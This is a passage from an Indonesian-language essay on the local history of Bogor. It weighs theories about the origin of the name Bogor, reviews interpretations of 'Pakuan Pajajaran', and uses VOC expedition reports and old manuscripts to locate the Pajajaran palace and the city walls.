/><br />Kota Bogor)<br /><br /> <br /><br />[Pantun Pa Cilong, "Ngadegna Dayeuh Pajajaran"] <br /><br /> <br /><br /> <br /><br />Pantun di atas menjadi dasar yang paling kuat tentang kenapa nama kota itu dinamakan "Bogor". Seperti diketahui, sampai saat ini ada empat pendapat tentang asal nama Bogor :<br /><br /> <br /><br />1. Berasal dari salah ucap orang Sunda untuk "Buitenzorg" yaitu nama resmi Bogor pada masa penjajahan Belanda.<br /><br /> <br /><br />2. Berasal dari "Baghar atau baqar" yang berarti sapi karena di dalam Kebun Raya ada sebuah patung sapi.<br /><br /> <br /><br />3. Berasal dari kata "Bokor" yaitu sejenis bakul logam tanpa alasan yang jelas.<br /><br /> <br /><br />4. Asli bernama Bogor yang artinya "tunggul kawung" (enau atau aren).<br /><br /> <br /><br />Pendapat bahwa Bogor berasal dari "buitenzorg" adalah dugaan intelek yang mengira lidah orang Sunda sedemikian kakunya dengan mengambil perumpamaan melesetnya "Batavia" menjadi "Batawi". Akan tetapi bila kita perhatikan bagaimana orang Sunda mengucapkan "sikenhes" untuk "ziekenhuis" (rumah sakit) atau "bes" untuk "buis" (pipa) atau "boreh" untuk "boreg" (jaminan), maka berdasarkan gejala bahasa tersebut, seharusnya orang Sunda melafalkan "buitenzorg" menjadi "betensoreh". Jadi dugaan "buitenzorg" menjadi Bogor terlalu dikira-kira.<br /><br /> <br /><br />Pendapat kedua ("baghar atau baqar") berdasarkan kenyataan adanya pengaruh bahasa Arab di daerah sekitar Pekojan. Orang Sunda akrab dengan bahasa Arab lewat agama Islam, akan tetapi belum pernah ada bunyi BA dari bahasa Arab menjadi BO. Selain itu, dugaannya mengandung kelemahan dari segi urutan waktu. Kata Bogor telah ada sebelum Kebun Raya dibuat, sedangkan arca sapi itu berasal dari kolam kuno Kotabaru yang dipindahkan ke dalam Kebun Raya oleh Dr. Frideriech dalam pertengahan abad 19.<br /><br /> <br /><br />Pendapat ketiga (asal kata "bokor") juga mengandung kelemahan karena bokor itu sendiri adalah kata Sunda asli yang keasliannya cukup terjamin. Meskipun demikian, perubahan bunyi "K" menjadi "G" tanpa menimbulkan perubahan arti dapat ditemui pada kata "kumasep" dan "angkeuhan" yang sering diucapkan menjadi "gumasep" (merasa cakep/centil) dan "anggeuhan"(tempat bersandar atau bernaung). Jadi bisa saja Bogor memang berasal dari Bokor. Akan tetapi, tak ada seorangpun yang biasa mengartikan "Bogor" sama dengan "bokor".<br /><br /> <br /><br />Pendapat keempat kita temukan dalam pantun Bogor yang sudah disebutkan di awal tulisan. Dalam lakon itu dikemukakan bahwa kata "bogor" berarti "tunggul kawung". Keadaan yang sama dapat ditemui pada nama tempat "Tunggilis" yang terletak di tepi jalan antara Cileungsi dengan Jonggol. Kata "tunggilis" berarti tunggul atau pokok pinang yang secara kiasan diartikan menyendiri atau hidup sebatang kara.<br /><br /> <br /><br />Di Jawa Barat banyak tempat bernama Bogor, seperti yang bisa ditemukan di Sumedang dan Garut. Demikian pula di Jawa Tengah, sebagaimana dicatat Prof. Veth dalam buku Java. Dengan demikian memang agak sulit menerima teori "buitenzorg","baghar" dan "bokor".<br /><br /><br /> <br /><br />Bogor selain berarti tunggul enau, juga berarti daging pohon kawung yang biasa dijadikan sagu (di daerah Bekasi). Dalam bahasa Jawa "Bogor" berati pohon enau dan kata kerja "dibogor" berarti disadap. Dalam bahasa Jawa Kuno, "pabogoran" berarti kebun enau. Dalam bahasa Sunda umum, menurut Coolsma, "Bogor" berarti "droogetapte kawoeng"(pohon enau yang telah habis disadap) atau "bladerlooze en taklooze boom" (pohon yang tak berdaun dan tak bercabang). Jadi sama dengan pengertian kata "pugur" atau "pogor". <br /><br /> <br /><br />Akan tetapi dalam bahasa Sunda "muguran" dengan "mogoran" berbeda arti. Yang pertama dikenakan kepada pohon yang mulai berjatuhan daunnya karena menua, yang kedua berarti bermalam di rumah wanita dalam makna yang kurang susila. Pendapat desas-desus bahwa Bogor itu berarti "pamogoran" bisa dianggap terlalu iseng.<br /><br /> <br /><br />Nama Bogor dapat ditemui pada sebuah dokumen tertanggal 7 April 1752. Dalam dokumen tersebut tercantum nama Ngabei Raksacandra sebagai "hoofd van de negorij Bogor" (kepala kampung Bogor). Dalam tahun tersebut ibukota Kabupaten Bogor masih berkedudukan di Tanah Baru. Dua tahun kemudian, Bupati Demang Wiranata mengajukan permohonan kepada Gubernur Jacob Mossel agar diizinkan mendirikan rumah tempat tinggal di Sukahati di dekat "Buitenzorg". Kelak karena di depan rumah Bupati Bogor tersebut terdapat sebuah kolam besar (empang), maka nama "Sukahati" diganti menjadi "Empang".<br /><br /> <br /><br />Pada tahun 1752 tersebut, di Kota Bogor belum ada orang asing, kecuali Belanda. Kebun Raya sendiri baru didirikan tahun 1817 sehingga teori "arca sapi" tidak dapat diterima sebagai asal-usul nama Bogor. Letak Kampung Bogor yang awal itu di dalam Kebun Raya. Ada di lokasi tanaman kaktus sekarang. Adapun pasar yang didirikan di kampung tersebut oleh penduduk disebut Pasar Bogor. Maka, tak pelak, papan nama "Pasar Baru Bogor" yang ada sekarang sebenarnya agak mengganggu rangkaian historis ini.<br /><br />Asal dan arti nama Pakuan<br /><br /> <br /><br />Hampir secara umum penduduk Bogor mempunyai keyakinan bahwa Kota Bogor mempunyai hubungan lokatif dengan Kota Pakuan, ibukota Pajajaran. Asal-usul dan arti Pakuan terdapat dalam berbagai sumber. Di bawah ini adalah hasil penelusuran dari sumber-seumber tersebut berdasarkan urutan waktu:<br /><br /> <br /><br />1. Carita Waruga Guru (1750-an). Dalam naskah berhasa Sunda kuno ini diterangkan bahwa nama Pakuan Pajajaran didasarkan bahwa di lokasi tersebut banyak terdapat pohon Pakujajar.<br /><br /> <br /><br />2. K.F. Holle (1869). Dalam tulisan berjudul De Batoe Toelis te Buitenzorg (Batutulis di Bogor), Holle menyebutkan bahwa di dekat Kota Bogor terdapat kampung bernama Cipaku, beserta sungai yang memiliki nama yang sama. Di sana banyak ditemukan pohon paku. Jadi menurut Holle, nama Pakuan ada kaitannya dengan kehadiran Cipaku dan pohon paku. Pakuan Pajajaran berarti pohon paku yang berjajar ("op rijen staande pakoe bomen").<br /><br /> <br /><br />3. G.P. Rouffaer (1919) dalam Encyclopedie van Niederlandsch Indie edisi Stibbe tahun 1919. Pakuan mengandung pengertian "paku", akan tetapi harus diartikan "paku jagat" (spijker der wereld) yang melambangkan pribadi raja seperti pada gelar Paku Buwono dan Paku Alam. "Pakuan" menurut Fouffaer setara dengan "Maharaja". Kata "Pajajaran" diartikan sebagai "berdiri sejajar" atau "imbangan" (evenknie). Yang dimaksudkan Rouffaer adalah berdiri sejajar atau seimbang dengan Majapahit.<br /><br />Sekalipun Rouffaer tidak merangkumkan arti Pakuan Pajajaran, namun dari uraiannya dapat disimpulkan bahwa Pakuan Pajajaran menurut pendapatnya berarti "Maharaja yang berdiri sejajar atau seimbang dengan (Maharaja) Majapahit". Ia sependapat dengan Hoesein Djajaningrat (1913) bahwa Pakuan Pajajaran didirikan tahun 1433. <br /><br /> <br /><br />4. R. Ng. Poerbatjaraka (1921). Dalam tulisan De Batoe-Toelis bij Buitenzorg (Batutulis dekat Bogor) ia menjelaskan bahwa kata "Pakuan" mestinya berasal dari bahasa Jawa kuno "pakwwan" yang kemudian dieja "pakwan" (satu "w", ini tertulis pada Prasasti Batutulis). Dalam lidah orang Sunda kata itu akan diucapkan "pakuan". Kata "pakwan" berarti kemah atau istana. Jadi, Pakuan Pajajaran, menurut Poerbatjaraka, berarti "istana yang berjajar"(aanrijen staande hoven). <br /><br /> <br /><br />5. H. Ten Dam (1957). Sebagai Insinyur Pertanian, Ten Dam ingin meneliti kehidupan sosial-ekonomi petani Jawa Barat dengan pendekatan awal segi perkembangan sejarah. Dalam tulisannya, Verkenningen Rondom Padjadjaran (Pengenalan sekitar Pajajaran), pengertian "Pakuan" ada hubungannya dengan "lingga" (tonggak) batu yang terpancang di sebelah prasasti Batutulis sebagai tanda kekuasaan. Ia mengingatkan bahwa dalam Carita Parahyangan disebut-sebut tokoh Sang Haluwesi dan Sang Susuktunggal yang dianggapnya masih mempunyai pengertian "paku". <br /><br />Ia berpendapat bahwa "pakuan" bukanlah nama, melainkan kata benda umum yang berarti ibukota (hoffstad) yang harus dibedakan dari keraton. Kata "pajajaran" ditinjaunya berdasarkan keadaan topografi. Ia merujuk laporan Kapiten Wikler (1690) yang memberitakan bahwa ia melintasi istana Pakuan di Pajajaran yang terletak antara Sungai Besar dengan Sungai Tanggerang (disebut juga Ciliwung dan Cisadane). Ten Dam menarik kesimpulan bahwa nama "Pajajaran" muncul karena untuk beberapa kilometer Ciliwung dan Cisadane mengalir sejajar. Jadi, Pakuan Pajajaran dalam pengertian Ten Dam adalah Pakuan di Pajajaran atau "Dayeuh Pajajaran".<br /><br /> <br /><br />Demikianlah tafsiran nama Pakuan Pajajaran menurut lima sumber. Toh, nama resmi yang pernah digunakan dalam sumber sejarah ada tiga, yaitu :<br /><br /> <br /><br />1. Pakuan Pajajaran (lengkap)<br /><br />2. Pakuan (tanpa Pajajaran).<br /><br />3. Pajajaran (tanpa Pakuan).<br /><br /> <br /><br />Ketiga sebutan itu dapat ditemukan dalam Prasasti Batutulis (nomor 1 & 2), sedangkan nomor 3 bisa dijumpai pada Prasasti Kabantenan di Bekasi. <br /><br /> <br /><br />Lantas, apa arti kata itu menurut orang Pajajaran sendiri?<br /><br /> <br /><br />Dalam naskah Carita Parahiyangan ada kalimat berbunyi "Sang Susuktunggal, inyana nu nyieunna palangka Sriman Sriwacana Sri Baduga Maharajadiraja Ratu Haji di Pakwan Pajajaran nu mikadatwan Sri Bima Punta Narayana Madura Suradipati, inyana pakwan Sanghiyang Sri Ratu Dewata" (Sang Susuktunggal, dialah yang membuat tahta Sriman Sriwacana (untuk) Sri Baduga Maharaja Ratu Penguasa di Pakuan Pajajaran yang bersemayam di keraton Sri Bima Punta Narayana Madura Suradipati, yaitu pakuan Sanghiyang Sri Ratu Dewata).<br /><br /> <br /><br />Sanghiyang Sri Ratu Dewata adalah gelar lain untuk Sri Baduga. Jadi yang disebut "pakuan" itu adalah "kadaton" yang bernama Sri Bima dan seterunya. "Pakuan" adalah tempat tinggal untuk raja, biasa disebut keraton, kedaton atau istana. Jadi tafsiran Poerbatjaraka lah yang sejalan dengan arti yang dimaksud dalam Carita Parahiyangan, yaitu "istana yang berjajar". Tafsiran tersebut lebih mendekati lagi bila dilihat nama istana yang cukup panjang tetapi terdiri atas nama-nama yang berdiri sendiri. Diperkirakan ada lima (5) bangunan keraton yang masing-masing bernama: Bima, Punta, Narayana, Madura dan Suradipati. Inilah mungkin yang biasa disebut dalam peristilahan klasik "panca persada" (lima keraton). Suradipati adalah nama keraton induk. Hal ini dapat dibandingkan dengan nama-nama keraton lain, yaitu Surawisesa di Kawali, Surasowan di Banten dan Surakarta di Jayakarta pada masa silam.<br /><br /> <br /><br />Karena nama yang panjang itulah mungkin orang lebih senang meringkasnya, Pakuan Pajajaran atau Pakuan atau Pajajaran. Nama keraton dapat meluas menjadi nama ibukota dan akhirnya menjadi nama negara. Contohnya : Nama keraton Surakarta Hadiningrat dan Ngayogyakarta Hadiningrat, yang meluas menjadi nama ibukota dan nama daerah. Ngayogyakarta Hadiningrat dalam bahasa sehari-hari cukup disebut Yogya.<br /><br /> <br /><br /> <br /><br />Pendapat Ten Dam (Pakuan = ibukota ) benar dalam penggunaan, tetapi salah dari segi semantik. Dalam laporan Tome Pires (1513) disebutkan bahwa bahwa ibukota kerajaan Sunda itu bernama "Dayo" (dayeuh) dan terletak di daerah pegunungan, dua hari perjalanan dari pelabuhan Kalapa di muara Ciliwung. Nama "Dayo" didengarnya dari penduduk atau pembesar Pelabuhan Kalapa. Jadi jelas, orang Pelabuhan Kalapa menggunakan kata "dayeuh" (bukan "pakuan") bila bermaksud menyebut ibukota. Dalam percakapan sehari-hari, digunakan kata "dayeuh", sedangkan dalam kesusastraan digunakan "pakuan" untuk menyebut ibukota kerajaan.<br /><br /> <br /><br />Untuk praktisnya, dalam tulisan berikut digunakan "Pakuan" untuk nama ibukota dan "Pajajaran" untuk nama negara, seperti kebiasaan masyarakat Jawa Barat sekarang ini. <br /><br /> <br /><br />A. Berita-berita VOC<br /><br />Laporan tertulis pertama mengenai lokasi Pakuan diperoleh dari catatan perjalan ekspedisi pasukan VOC ("Verenigde Oost Indische Compagnie"/Perserikatan Kumpeni Hindia Timur) yang oleh bangsa kita lumrah disebut Kumpeni. Karena Inggris pun memiliki perserikatan yang serupa dengan nama EIC ("East India Company"), maka VOC sering disebut Kumpeni Belanda dan EIC disebut Kumpeni Inggris.<br /><br /> <br /><br />Setelah mencapai persetujuan dengan Cirebon (1681), Kumpeni Belanda menandatangani persetujuan dengan Banten (1684). Dalam persetujuan itu ditetapkan Cisadane menjadi batas kedua belah pihak. <br /><br /> <br /><br />Untuk mengetahui lebih lanjut mengenai lokasi "bekas istana" Kerajaan Pajajaran, VOC mengirimkan tiga tim ekspedisi yang masing-masing dipimpin oleh:<br /><br /> <br /><br />1. Scipio (1687).<br /><br />2. Adolf Winkler (1690).<br /><br />3. Abraham van Riebeeck (1703, 1704, 1709)<br /><br /> <br /><br /> <br /><br />1. Laporan Scipio <br /><br />Dua catatan penting dari ekspedisi Scipio adalah:<br /><br /> <br /><br />- Catatan perjalanan antara Parung Angsana (Tanah Baru) menuju Cipaku dengan melalui Tajur, kira-kira lokasi Pabrik "Unitex" sekarang. Catatannya adalah sbb.: "Jalan dan lahan antara Parung Angsana dengan Cipaku adalah lahan yang bersih dan di sana banyak sekali pohon buah-buahan, tampaknya pernah dihuni".<br /><br /> <br /><br />- Lukisan jalan setelah ia melintasi Ciliwung. Ia mencatat "Melewati dua buah jalan dengan pohon buah-buahan yang berderet lurus dan 3 buah runtuhan parit". Dari anggota pasukannya, Scipio memperoleh penerangan bahwa semua itu peninggalan dari Raja Pajajaran.<br /><br /> <br /><br />Dari perjalanannya disimpulkan bahwa jejak Pajajaran yang masih bisa memberikan "kesan wajah" kerajaan hanyalah "Situs Batutulis".<br /><br /> <br /><br />Penemuan Scipio segera dilaporkan oleh Gubernur Jenderal Joanes Camphuijs kepada atasannya di Belanda. Dalam laporan yang ditulis tanggal 23 Desember 1687, ia memberitakan bahwa menurut kepercayaan penduduk, "dat hetselve paleijs en specialijck de verheven zitplaets van den getal tijgers bewaakt ent bewaart wort" (bahwa istana tersebut terutama sekali tempat duduk yang ditinggikan untuk raja "Jawa" Pajajaran sekarang masih berkabut dan dijaga serta dirawat oleh sejumlah besar harimau).<br /><br /> <br /><br />Rupanya laporan penduduk Parung Angsana ada hubungannya dengan seorang anggota ekspedisi yang diterkam harimau di dekat Cisadane pada malam tanggal 28 Agustus 1687. Diperkirakan Situs Batutulis pernah menjadi sarang harimau dan ini telah menumbuhkan khayalan adanya hubungan antara Pajajaran yang sirna dengan keberadaan harimau.<br /><br /> <br /><br />2. Laporan Adolf Winkler (1690).<br /><br />Laporan Scipio menggugah para pimpinan Kumpeni Belanda. Tiga tahun kemudian dibentuk kembali team ekspedisi dipimpin oleh Kapiten Winkler. Pasukan Winkler terdiri dari 16 orang kulit putih dan 26 orang Makasar serta seorang ahli ukur.<br /><br /> <br /><br />Perjalanan ringkas ekspedisi Winkler adalah sebagai berikut : <br /><br /> <br /><br />Seperti Scipio, Winkler bertolak dari Kedung Halang lewat Parung Angsana (Tanah Baru) lalu ke selatan. Ia melewati jalan besar yang oleh Scipio disebut "twee lanen". Hal ini tidak bertentangan Scipio. Winkler menyebutkan jalan tersebut sejajar dengan aliran Ciliwung lalu membentuk siku-siku. Karena itu ia hanya mencatat satu jalan. Scipio menganggap jalan yang berbelok tajam ini sebagai dua jalan yang bertemu. <br /><br /> <br /><br />Setelah melewati sungai Jambuluwuk (Cibalok) dan melintasi "parit Pakuan yang dalam dan berdinding tegak ("de diepe dwarsgragt van Pakowang") yang tepinya membentang ke arah Ciliwung dan sampai ke jalan menuju arah tenggara 20 menit setelah arca. Sepuluh menit kemudian (pukul 10.54) sampai di lokasi kampung Tajur Agung (waktu itu sudah tidak ada). Satu menit kemudian, ia sampai ke pangkal jalan durian yang panjangnya hanya 2 menit perjalanan dengan berkuda santai.<br /><br /> <br /><br />Bila kembali ke catatan Scipio yang mengatakan bahwa jalan dan lahan antara Parung Angsana dengan Cipaku itu bersih dan di mana-mana penuh dengan pohon buah-buhan, maka dapat disimpulkan bahwa kompleks "Unitex" itu pada jaman Pajajaran merupakan "Kebun Kerajaan". Tajur adalah kata Sunda kuno yang berarti "tanam, tanaman atau kebun". Tajur Agung sama artinya dengan "Kebon Gede atau Kebun Raya". Sebagai kebun kerajaan, Tajur Agung menjadi tempat bercengkerama keluarga kerajaan. Karena itu pula penggal jalan pada bagian ini ditanami pohon durian pada kedua sisinya. <br /><br /> <br /><br />a. Dari Tajur Agung Winkler menuju ke daerah Batutulis menempuh jalan yang kelak (1709) dilalui Van Riebeeck dari arah berlawanan. Jalan ini menuju ke gerbang kota (lokasi dekat pabrik paku "Tulus Rejo" sekarang). Di situlah letak Kampung Lawang Gintung pertama sebelum pindah ke "Sekip" dan kemudian lokasi sekarang (bernama tetap Lawang Gintung). Jadi gerbang Pakuan pada sisi ini ada pada penggal jalan di Bantar Peuteuy (depan kompleks perumahan LIPI). Dulu di sana ada pohon Gintung.<br /><br /> <br /><br />b. Di Batutulis Winkler menemukan lantai atau jalan berbatu yang sangat rapi. Menurut penjelasan para pengantarnya, di situlah letak istana kerajaan ("het conincklijke huijs soude daerontrent gestaen hebben"). Setelah diukur, lantai itu membentang ke arah paseban tua. Di sana ditemukan tujuh (7) batang pohon beringin.<br /><br /> <br /><br />c. Di dekat jalan tersebut Winkler menemukan sebuah batu besar yang dibentuk secara indah. Jalan berbatu itu terletak sebelum Winkler tiba di situs Bautulis, dan karena dari batu bertulis perjalanan dilanjutkan ke tempat arca ("Purwa Galih"), maka lokasi jalan itu harus terletak di bagian utara tempat batu bertulis (prasasti). Antara jalan berbatu dengan batu besar yang indah dihubungkan oleh "Gang Amil". Lahan di bagian utara Gang Amil ini bersambung dengan Bale Kambang (rumah terapung). Bale kambang ini adalah untuk bercengkrama raja. Contoh bale kambang yang masih utuh adalah seperti yang terdapat di bekas Pusat Kerajaan Klungkung di Bali.<br /><br /> <br /><br />Dengan indikasi tersebut, lokasi keraton Pajajaran mesti terletak pada lahan yang dibatasi Jalan Batutulis (sisi barat), Gang Amil (sisi selatan), bekas parit yang sekarang dijadikan perumahan (sisi timur) dan "benteng batu" yang ditemukan Scipio sebelum sampai di tempat prasasti (sisi utara). Balekambang terletak di sebelah utara (luar) benteng itu. Pohon beringinnya mestinya berada dekat gerbang Pakuan di lokasi jembatan Bondongan sekarang. <br /><br /> <br /><br />d. Dari Gang Amil, Winkler memasuki tempat batu bertulis. Ia memberitakan bahwa "Istana Pakuan" itu dikeliligi oleh dinding dan di dalamnya ada sebuah batu berisi tulisan sebanyak 8 1/2 baris (Ia menyebut demikian karena baris ke-9 hanya berisi 6 huruf dan sepasang tanda penutup).<br /><br /> <br /><br />Yang penting adalah untuk kedua batu itu Winkler menggunakan kata "stond" (berdiri). Jadi setelah terlantar selama kira-kira 110 th (sejak Pajajaran burak, bubar atau hancur, oleh pasukan Banten th 1579), batu-batu itu masih berdiri, masih tetap pada posisi semula.<br /><br /> <br /><br />e. Dari tempat prasasti, Winkler menuju ke tempat arca (umum disebut Purwakalih, 1911 Pleyte masih mencatat nama Purwa Galih). Di sana terdapat tiga buah patung yang menurut informan Pleyte adalah patung Purwa Galih, Gelap Nyawang dan Kidang Pananjung. Nama trio ini terdapat dalam Babad Pajajaran yang ditulis di Sumedang (1816) pada masa bupati Pangeran Kornel, kemudian disadur dalam bentuk pupuh 1862. Penyadur naskah babad mengetahui beberapa ciri bekas pusat kerajaan seperti juga penduduk Parung Angsana dalam tahun 1687 mengetahui hubungan antara "Kabuyutan" Batutulis dengan kerajaan Pajajaran dan Prabu Siliwangi. Menurut babad ini, "pohon campaka warna" (sekarang tinggal tunggulnya) terletak tidak jauh dari alun-alun.<br /><br /> <br /><br />3. Laporan Abraham van Riebeeck (1703, 1704, 1709).<br /><br />Abraham adalah putera Joan van Riebeeck pendiri Capetown di Afrika Selatan. Penjelajahannya di daerah Bogor dan sekitarnya dilakukan dalam kedudukan sebagai pegawai tinggi Kumpeni. Dua kali sebagai Inspektur Jenderal dan sekali sebagai Gubernur Jenderal. Kunjungan ke Pakuan tahun 1703 disertai pula oleh istrinya yang digotong dengan tandu.<br /><br /> <br /><br />Rute perjalanan tahun 1703: Benteng - Cililitan - Tanjung - Seringsing - Pondok Cina - Depok - Pondok Pucug (Citayam) - Bojong Manggis (dekat Bojong Gede) - Kedung Halang - Parung Angsana (Tanah Baru).<br /><br /> <br /><br />Rute perjalanan tahun 1704: Benteng - Tanah Abang - Karet - Ragunan - Seringsing - Pondok Cina dan seterusnya sama dengan rute 1703.<br /><br /> <br /><br />Rute perjalanan tahun 1709: Benteng - Tanah Abang - Karet - Seringsing - Pondok Pucung - Bojong Manggis - Pager Wesi - Kedung Badak - Panaragan.<br /><br /> <br /><br />Berbeda dengan Scipio dan Winkler, van Riebeeck selalu datang dari arah Empang. Karena itu ia dapat mengetahui bahwa Pakuan terletak pada sebuah dataran tinggi. Hal ini tidak akan tampak oleh mereka yang memasuki Batutulis dari arah Tajur. Yang khusus dari laporan Van Riebeeck adalah ia selalu menulis tentang "de toegang" (jalan masuk) atau "de opgang" (jalan naik) ke Pakuan.<br /><br /> <br /><br />Beberapa hal yang dapat diungkapkan dari ketiga perjalanan Van Riebeeck adalah:<br /><br /> <br /><br />a. Alun-alun Empang ternyata bekas alun-alun luar pada jaman Pakuan yang dipisahkan dari benteng Pakuan dengan sebuah parit yang dalam (sekarang parit ini membentang dari Kampung Lolongok sampai Cipakancilan).<br /><br /> <br /><br />b. Tanjakan Bondongan yang sekarang, pada jaman Pakuan merupakan jalan masuk yang sempit dan mendaki sehingga hanya dapat dilalui seorang penunggang kuda atau dua orang berjalan kaki.<br /><br /> <br /><br />c. Tanah rendah di kedua tepi tanjakan Bondongan dahulu adalah parit-bawah yang terjal dan dasarnya bersambung kepada kaki benteng Pakuan, d. Jembatan Bondongan yang sekarang, dahulu merupakan pintu gerbang kota.<br /><br /> <br /><br />d. Di Belakang benteng Pakuan pada bagian ini terdapat parit atas yang melingkari pinggir kota Pakuan pada sisi Cisadane.<br /><br /> <br /><br />Pada kunjungn tahun 1704, di seberang "jalan" sebelah barat tempat patung "Purwa Galih" ia telah mendirikan pondok peristirahatan ("somerhuijsje") bernama "Batutulis". Nama ini kemudian melekat menjadi nama tempat di daerah sekitar prasasti tersebut.<br /><br /> <br /><br /> <br /><br />B. Berita dari Naskah Tua<br /><br />Dalam kropak (tulisan pada rontal atau daun nipah) yang diberi nomor 406 di Mueseum Pusat terdapat petunjuk yang mengarah kepada lokasi Pakuan. Kropak 406 sebagian telah diterbitkan khusus dengan nama Carita Parahiyangan. Dalam bagian yang belum diterbitkan (biasa disebut fragmen K 406) terdapat keterangan mengenai kisah pendirian keraton Sri Bima, Punta, Narayana Madura Suradipati. "Di inya urut kadatwan, ku Bujangga Sedamanah ngaran Sri Kadatwan Bima Punta Narayana Madura Suradipati. Anggeus ta tuluy diprebolta ku Maharaja Tarusbawa deung Bujangga Sedamanah. Disiar ka hulu Cipakancilan. Katimu Bagawat Sunda Mayajati. Ku Bujangga Sedamanah dibaan ka hareupeun Maharaja Tarusbawa�.<br /><br /> <br /><br />(Di sanalah bekas keraton yang oleh Bujangga Sedamanah diberi nama Sri Kadatuan Bima Punta Narayana Madura Suradipati. Setelah selesai [dibangun] lalu diberkati oleh Maharaja Tarusbawa dan Bujangga Sedamanah. Dicari ke hulu Cipakancilan. Ditemukanlah Bagawat Sunda Majayati. Oleh Bujangga Sedamanah dibawa ke hadapan Maharaja Tarusbawa).<br /><br /> <br /><br />Dari sumber kuno itu dapat diketahui bahwa letak keraton tidak akan terlalu jauh dari "hulu Cipakancilan". Hulu Cipakancilan terletak dekat lokasi kampung Lawang Gintung yang sekarang, sebab ke bagian hulu sungai ini disebut Ciawi. Dari naskah itu pula kita mengetahui bahwa sejak jaman Pajajaran sungai itu sudah bernama Cipakancilan. Hanyalah juru pantun kemudian menterjemahkannya menjadi Cipeucang. Dalam bahasa Sunda kuno dan Jawa kuno kata "kancil" memang berarti "peucang".<br /><br /><br /> <br /><br />C. Hasil Penelitian<br /><br />Prasasti Batutulis sudah mulai diteliti sejak tahun 1806 dengan pembuatan "cetakan tangan" untuk Universitas Leiden (Belanda). Upaya pembacaan pertama dilakukan oleh Friederich tahun 1853. Sampai tahun 1921 telah ada empat orang ahli yang meneliti isinya. Akan tetapi, hanya C.M. Pleyte yang mencurahkan pada lokasi Pakuan, yang lain hanya mendalami isi prasasti itu.<br /><br /> <br /><br />Hasil penelitian Pleyte dipublikasikan tahun 1911 (penelitiannya sendiri berlangsung tahun 1903). Dalam tulisannya, Het Jaartal op en Batoe-Toelis nabij Buitenzorg (Angka tahun pada Batutulis di dekat Bogor), Pleyte menjelaskan "Waar alle legenden, zoowel als de meer geloofwaardige historische berichten, het huidige dorpje Batoe-Toelis, als plaats waar eenmal Padjadjaran's koningsburcht stond, aanwijzen, kwam het er aleen nog op aan. Naar eenige preciseering in deze te trachten".<br /><br /> <br /><br />(Dalam hal legenda-legenda dan berita-berita sejarah yang lebih dipercayai menunjuk kampung Batutulis yang sekarang sebagai tempat puri kerajaan Pajajaran, masalah yang timbul tinggalah menelusuri letaknya yang tepat).<br /><br /> <br /><br />Sedikit kotradiksi dari Pleyte adalah pertama ia menunjuk kampung Batutulis sebagai lokasi keraton, akan tetapi kemudian ia meluaskan lingkaran lokasinya meliputi seluruh wilayah Kelurahan Batutulis yang sekarang. Pleyte mengidentikkan puri dengan kota kerajaan dan kadatuan Sri Bima Narayana Madura Suradipati dengan Pakuan sebagai kota.<br /><br /> <br /><br />Babad Pajajaran melukiskan bahwa Pakuan terbagi atas "Dalem Kitha" (Jero kuta) dan "Jawi Kitha" (Luar kuta). Pengertian yang tepat adalah "kota dalam" dan "kota luar". Pleyte masih menemukan benteng tanah di daerah Jero Kuta yang membentang ke arah Sukasari pada pertemuan Jalan Siliwangi dengan Jalan Batutulis.<br /><br /> <br /><br />Peneliti lain seperti Ten Dam menduga letak keraton di dekat kampung Lawang Gintung (bekas) Asrama Zeni Angkatan Darat. Suhamir dan Salmun bahkan menunjuk pada lokasi Istana Bogor yang sekarang. Namun pendapat Suhamir dan Salmun kurang ditunjang data kepurbakalaan dan sumber sejarah. Dugaannya hanya didasarkan pada anggapan bahwa "Leuwi Sipatahunan" yang termashur dalam lakon-lakon lama itu terletak pada alur Ciliwung di dalam Kebun Raya Bogor. Menurut kisah klasih, "leuwi" (lubuk) itu biasa dipakai bermandi-mandi para puteri penghuni istana. Lalu ditarik logika bahwa letak istana tentu tak jauh dari "Leuwi Sipatahunan" itu.<br /><br /> <br /><br />Pantun Bogor mengarah pada lokasi bekas Asrama Resimen "Cakrabirawa" (Kesatrian) dekat perbatasan kota. Daerah itu dikatakan bekas Tamansari kerajaan bernama "Mila Kencana". Namun hal ini juga kurang ditunjang sumber sejarah yang lebih tua. Selain itu, lokasinya terlalu berdekatan dengan kuta yang kondisi topografinya merupakan titik paling lemah untuk pertahanan Kota Pakuan. Kota Pakuan dikelilingi oleh benteng alam berupa tebing-tebing sungai yang terjal di ketiga sisinya. Hanya bagian tenggara batas kota tersebut berlahan datar. Pada bagian ini pula ditemukan sisa benteng kota yang paling besar. Penduduk Lawang Gintung yang diwawancara Pleyte menyebut sisa benteng ini "Kuta Maneuh".<br /><br /> <br /><br />Sebenarnya hampir semua peneliti berpedoman pada laporan Kapiten Winkler (kunjungan ke Batutulis 14 Juni 1690). Kunci laporan Winkler tidak pada sebuah "hoff" (istana) yang digunakan untuk situs prasasti, melainkan pada kata "paseban" dengan tujuh (7) batang beringin pada lokasi Gang Amil. Sebelum diperbaiki, Gang Amil ini memang bernuansa kuno dan pada pinggir-pinggirnya banyak ditemukan batu-batu bekas "balay" yang lama.<br /><br /> <br /><br />Panelitian lanjutan membuktian bahwa benteng Kota Pakuan meliputi daerah Lawang Saketeng yang pernah dipertanyakan Pleyte. Menurut Coolsma, Lawang Saketeng berarti "porte brisee, bewaakte in-en uitgang" (pintu gerbang lipat yang dijaga dalam dan luarnya). Kampung Lawang Saketeng tidak terletak tepat pada bekas lokasi gerbang.<br /><br /> <br /><br />Benteng pada tempat ini terletak pada tepi Kampung Cincaw yang menurun terjal ke ujung lembah Cipakancilan, kemudian bersambung dengan tebing Gang Beton di sebelah Bioskop Rangga Gading. Setelah menyilang Jalan Suryakencana, membelok ke tenggara sejajar dengan jalan tersebut. Deretan pertokoan antara Jalan Suryakencana dengan Jalan Roda di bagian in sampai ke Gardu Tinggi, sebenarnya didirikan pada bekas pondasi benteng.<br /><br /> <br /><br />Selanjutnya benteng tersebut mengikuti puncak lembah Ciliwung. Deretan kios dekat simpangan Jalan Siliwangi - Jalan Batutulis juga didirikan pada bekas fondasi benteng. Di bagian ini benteng tersebut bertemu dengan benteng Kota Dalam yang membentang sampai ke Jero Kuta Wetan dan Dereded. Benteng luar berlanjut sepanjang puncak lereng Ciliwung melewati kompleks perkantoran PAM, lalu menyilang Jalan Raya Pajajaran, pada perbatasan kota, membelok lurus ke barat daya menembus Jalan Siliwangi (di sini dahulu terdapat gerbang), terus memanjang sampai Kampung Lawang Gintung. <br /><br /> <br /><br />Di Kampung Lawang Gintung, benteng ini bersambung dengan "benteng alam" yaitu puncak tebing Cipaku yang curam sampai di lokasi Stasiun Kereta Api Batutulis. Dari sini, batas Kota Pakuan membentang 